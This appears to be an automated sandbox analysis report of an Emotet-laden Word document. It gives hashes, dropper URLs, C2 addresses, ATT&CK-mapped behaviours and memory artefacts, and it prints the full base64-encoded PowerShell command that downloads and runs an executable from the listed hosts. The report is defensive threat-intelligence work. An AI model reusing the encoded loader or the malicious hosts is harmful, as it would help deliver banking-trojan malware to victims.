emotet | b685b9baa5ed208c142e70cf07f7dd97d78ae5de3104da2a31c9f2278d4c6bd5

General

Target

Inv.doc
Size

170KB
MD5

d73a0e6175f48f880b632db663122763
SHA1

81946bbfea207753b2a434e2bdb7b2600ffc52aa
SHA256

b685b9baa5ed208c142e70cf07f7dd97d78ae5de3104da2a31c9f2278d4c6bd5
SHA512

a420c59fa4d3d23a8d48e56a192ef6f52b7faec47260883374d6ee37f0c3843bb2fce27625e9557f17fb033e0b84e2a84b1cb930f869342d5cc4d4e6def6b68f

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://moshauer.de/B9kxs4x8n6272826/

exe.dropper

http://geted.de/wwvv2/sTZFOgzh/

exe.dropper

http://suhailacademy.com/wp-admin/oSHA/

exe.dropper

http://smashingcake.com/blog/HNpury/

exe.dropper

https://taolodge.com/pz/YbU2chs1980/

Extracted

Family

emotet

C2

187.64.128.197:80

198.57.203.63:8080

163.172.107.70:8080

212.112.113.235:80

157.7.164.178:8081

181.167.35.84:80

212.156.133.218:80

185.142.236.163:443

181.143.101.19:8080

75.127.14.170:8080

115.165.3.213:80

190.55.233.156:80

139.59.12.63:8080

144.139.91.187:80

37.70.131.107:80

181.113.229.139:443

41.185.29.128:8080

177.37.81.212:443

5.79.70.250:8080

78.188.170.128:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

384 WINWORD.EXE
384 WINWORD.EXE
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 1000 powersheLL.exe
Executes dropped EXE 2 IoCs

Processes:

432.exeiasads.exe

pid process

3972 432.exe
472 iasads.exe

description	pid	process
Token: SeDebugPrivilege	1000	powersheLL.exe

pid	process
3972	432.exe
472	iasads.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

432.exe

description	pid	process	target process
PID 3972 wrote to memory of 472	3972	432.exe	iasads.exe
PID 3972 wrote to memory of 472	3972	432.exe	iasads.exe
PID 3972 wrote to memory of 472	3972	432.exe	iasads.exe

Drops file in System32 directory 1 IoCs

Processes:

432.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\ir50_qcoriginal\iasads.exe 432.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\ir50_qcoriginal\iasads.exe	432.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

WINWORD.EXE432.exeiasads.exe

pid	process
384	WINWORD.EXE
384	WINWORD.EXE
384	WINWORD.EXE
384	WINWORD.EXE
384	WINWORD.EXE
384	WINWORD.EXE
384	WINWORD.EXE
384	WINWORD.EXE
384	WINWORD.EXE
3972	432.exe
472	iasads.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1000	3816	powersheLL.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powersheLL.exeiasads.exe

pid process

1000 powersheLL.exe
1000 powersheLL.exe
1000 powersheLL.exe
472 iasads.exe
472 iasads.exe
472 iasads.exe
472 iasads.exe
Blacklisted process makes network request 1 IoCs

Processes:

powersheLL.exe

flow pid process

9 1000 powersheLL.exe

pid	process
1000	powersheLL.exe
1000	powersheLL.exe
1000	powersheLL.exe
472	iasads.exe
472	iasads.exe
472	iasads.exe
472	iasads.exe

flow	pid	process
9	1000	powersheLL.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/3972-12-0x00000000020E0000-0x00000000020EC000-memory.dmp	emotet
behavioral2/memory/3972-12-0x00000000020E0000-0x00000000020EC000-memory.dmp	emotet
behavioral2/memory/472-15-0x00000000004E0000-0x00000000004EC000-memory.dmp	emotet
behavioral2/memory/472-15-0x00000000004E0000-0x00000000004EC000-memory.dmp	emotet

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Inv.doc" /o ""
1⤵
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:384

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABSAEoAUwBYAEQAdgBsAGUAPQAnAEEAVABOAE4ATQBhAHAAegAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBgAFUAUgBJAGAAVABgAHkAYABwAHIATwBUAE8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABFAEIARwBZAFUAbgBkAGEAIAA9ACAAJwA0ADMAMgAnADsAJABKAEwARgBPAEQAeABrAGUAPQAnAFUAUwBIAEoAQQBtAG8AawAnADsAJABRAEcAUABEAEkAagBuAGgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAQgBHAFkAVQBuAGQAYQArACcALgBlAHgAZQAnADsAJABTAEQAVQBSAEQAdABtAG4APQAnAFEAUABHAEoAVgBjAG0AcgAnADsAJABHAE8AUgBTAFQAbgBwAHIAPQAuACgAJwBuAGUAJwArACcAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAYwBsAGkAZQBOAFQAOwAkAE4AVABPAEMASwBxAHAAZwA9ACcAaAB0AHQAcABzADoALwAvAG0AbwBzAGgAYQB1AGUAcgAuAGQAZQAvAEIAOQBrAHgAcwA0AHgAOABuADYAMgA3ADIAOAAyADYALwAqAGgAdAB0AHAAOgAvAC8AZwBlAHQAZQBkAC4AZABlAC8AdwB3AHYAdgAyAC8AcwBUAFoARgBPAGcAegBoAC8AKgBoAHQAdABwADoALwAvAHMAdQBoAGEAaQBsAGEAYwBhAGQAZQBtAHkALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG8AUwBIAEEALwAqAGgAdAB0AHAAOgAvAC8AcwBtAGEAcwBoAGkAbgBnAGMAYQBrAGUALgBjAG8AbQAvAGIAbABvAGcALwBIAE4AcAB1AHIAeQAvACoAaAB0AHQAcABzADoALwAvAHQAYQBvAGwAbwBkAGcAZQAuAGMAbwBtAC8AcAB6AC8AWQBiAFUAMgBjAGgAcwAxADkAOAAwAC8AJwAuACIAcwBwAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABNAFUATwBBAFQAcgByAGsAPQAnAFQASgBOAEIAWABwAGoAZwAnADsAZgBvAHIAZQBhAGMAaAAoACQAVABNAFYATgBCAGQAZgB0ACAAaQBuACAAJABOAFQATwBDAEsAcQBwAGcAKQB7AHQAcgB5AHsAJABHAE8AUgBTAFQAbgBwAHIALgAiAGQATwBXAG4AbABgAE8AYABBAGQAZgBpAGAATABlACIAKAAkAFQATQBWAE4AQgBkAGYAdAAsACAAJABRAEcAUABEAEkAagBuAGgAKQA7ACQAVwBSAEkATABDAHAAcwB0AD0AJwBPAEwAWABFAFcAagBnAGMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABRAEcAUABEAEkAagBuAGgAKQAuACIATABgAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADMAMgA0ADUAMwApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAGAAZQBBAGAAVABlACIAKAAkAFEARwBQAEQASQBqAG4AaAApADsAJABSAEsAQwBBAFQAdgB0AGQAPQAnAFAAUgBSAFoATwB1AHEAegAnADsAYgByAGUAYQBrADsAJABBAFMAWQBIAFoAYwBkAHkAPQAnAE8ATQBFAFUAVgB6AHMAbwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABUAFIATwBRAEkAbQBiAGQAPQAnAFcATQBJAEoARwBrAGkAYgAnAA==
1⤵
- Suspicious use of AdjustPrivilegeToken
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:1000

C:\Users\Admin\432.exe
C:\Users\Admin\432.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:3972

C:\Windows\SysWOW64\ir50_qcoriginal\iasads.exe
"C:\Windows\SysWOW64\ir50_qcoriginal\iasads.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
PID:472

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\432.exe

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C:\Users\Admin\432.exe

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C:\Windows\SysWOW64\ir50_qcoriginal\iasads.exe

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memory/384-8-0x0000017C18386000-0x0000017C1839A000-memory.dmp

Filesize
80KB

Download
memory/384-4-0x0000017C182C2000-0x0000017C182C7000-memory.dmp

Filesize
20KB

Download
memory/384-5-0x0000017C15C9A000-0x0000017C15C9F000-memory.dmp

Filesize
20KB

Download
memory/384-6-0x0000017C18386000-0x0000017C1839A000-memory.dmp

Filesize
80KB

Download
memory/384-7-0x0000017C18386000-0x0000017C1839A000-memory.dmp

Filesize
80KB

Download
memory/384-0-0x0000017C182C2000-0x0000017C182C7000-memory.dmp

Filesize
20KB

Download
memory/384-9-0x0000017C18386000-0x0000017C1839A000-memory.dmp

Filesize
80KB

Download
memory/384-3-0x0000017C182B1000-0x0000017C182C2000-memory.dmp

Filesize
68KB

Download
memory/384-2-0x0000017C182C2000-0x0000017C182C7000-memory.dmp

Filesize
20KB

Download
memory/384-1-0x0000017C182C2000-0x0000017C182C7000-memory.dmp

Filesize
20KB

Download
memory/472-13-0x0000000000000000-mapping.dmp

Download
memory/472-15-0x00000000004E0000-0x00000000004EC000-memory.dmp

Filesize
48KB

Download
memory/3972-12-0x00000000020E0000-0x00000000020EC000-memory.dmp

Filesize
48KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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